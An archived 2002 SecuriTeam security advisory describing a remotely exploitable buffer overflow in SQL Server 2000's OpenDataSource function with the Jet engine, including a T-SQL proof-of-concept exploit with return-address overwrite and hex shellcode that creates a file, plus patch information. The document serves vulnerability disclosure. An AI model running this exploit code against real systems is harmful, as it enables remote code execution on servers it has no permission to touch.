

[NT] Microsoft SQL Server 2000 OpenDataSource Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0091.html>

From: support@securiteam.com

Date: 06/20/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 20 Jun 2002 07:49:13 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Microsoft SQL Server 2000 OpenDataSource Buffer Overflow

SUMMARY

Microsoft's database server SQL Server 2000 has a remotely exploitable buffer overrun vulnerability in the OpenDataSource function when combined with the MS Jet Engine. Due to this being a JET problem other products may also be vulnerable; however the fix for all products should be the same.

Please see the "Fix Information" section for more details.

DETAILS

By making a specially crafted SQL query using the OpenDataSource function it is possible to overflow a buffer in the SQL Server process, gaining control of its execution remotely. If the SQL Server is running with SYSTEM privileges, this is default behavior, then any code supplied by the attacker in an exploit of the overflow will run uninhibited. Whilst the overflow is UNICODE in nature, as will be shown, it is still very easy to exploit.

What must be stressed is that this may be launched via a web server application if it is vulnerable to SQL Injection so just because no direct access can be gained to the SQL Server from the Internet does not mean it is safe. All customers running SQL Server should check their patch level.

Securiteam: [NT] Microsoft SQL Server 2000 OpenDataSource Buffer Overflow

Proof of Concept:

This Transact SQL Script will create a file called "SQL-ODSJET-BO" on the root of the C: drive on Windows 2000 SP 2 machines

-- Simple Proof of Concept

-- Exploits a buffer overrun in OpenDataSource()

```
--  
-- Demonstrates how to exploit a UNICODE overflow using T-SQL  
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO  
-- I'm overwriting the saved return address with 0x42B0C9DC  
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2  
-- The address holds a jmp esp instruction.  
--  
-- To protect against this overflow download the latest Jet Service  
-- pack from Microsoft - http://www.microsoft.com/  
--  
-- David Litchfield (david@ngssoftware.com)  
-- 19th June 2002
```

```
declare @exploit nvarchar(4000) declare @padding nvarchar(2000) declare @saved_return_address  
nvarchar(20) declare @code nvarchar(1000) declare @pad nvarchar(16) declare @cnt int declare @more_pad  
nvarchar(100)
```

```
select @cnt = 0 select @padding = 0x41414141 select @pad = 0x4141
```

```
while @cnt < 1063 begin select @padding = @padding + @pad select @cnt = @cnt + 1 end
```

-- overwrite the saved return address

```
select @saved_return_address = 0xDCC9B042 select @more_pad =  
0x4343434344444444454545454646464647474747
```

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 – Win2K Sp2 --- change if running a different service pack

```
select @code = 0x558BEC33C05068542D424F6844534A4568514C  
2D4F68433A5C538D142450504050485050B0C050 52B8876FE877FFD0CCCCCCCC select @exploit =  
N'SELECT * FROM penDataSource( "Microsoft.Jet.OLEDB.4.0","Data Source="c:\' select @exploit =  
@exploit + @padding + @saved_return_address + @more_pad + @code select @exploit = @exploit +  
N"';User ID=Admin;Password=;Extended properties=Excel 5.0)...xactions' exec (@exploit)
```

----->8-----

Fix Information: NGSSoftware alerted Microsoft to this problem on the 16th of May 2002 and after investigation Microsoft recommend that customers should upgrade their version of Jet. The latest version is available from here:

<<http://www.microsoft.com/windows2000/downloads/recommended/q282010/default.asp>>
<http://www.microsoft.com/windows2000/downloads/recommended/q282010/default.asp>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mark@ngssoftware.com>> Mark Litchfield.

Securiteam: [NT] Microsoft SQL Server 2000 OpenDataSource Buffer Overflow

=====
This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] Apache Tomcat Path Disclosure"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)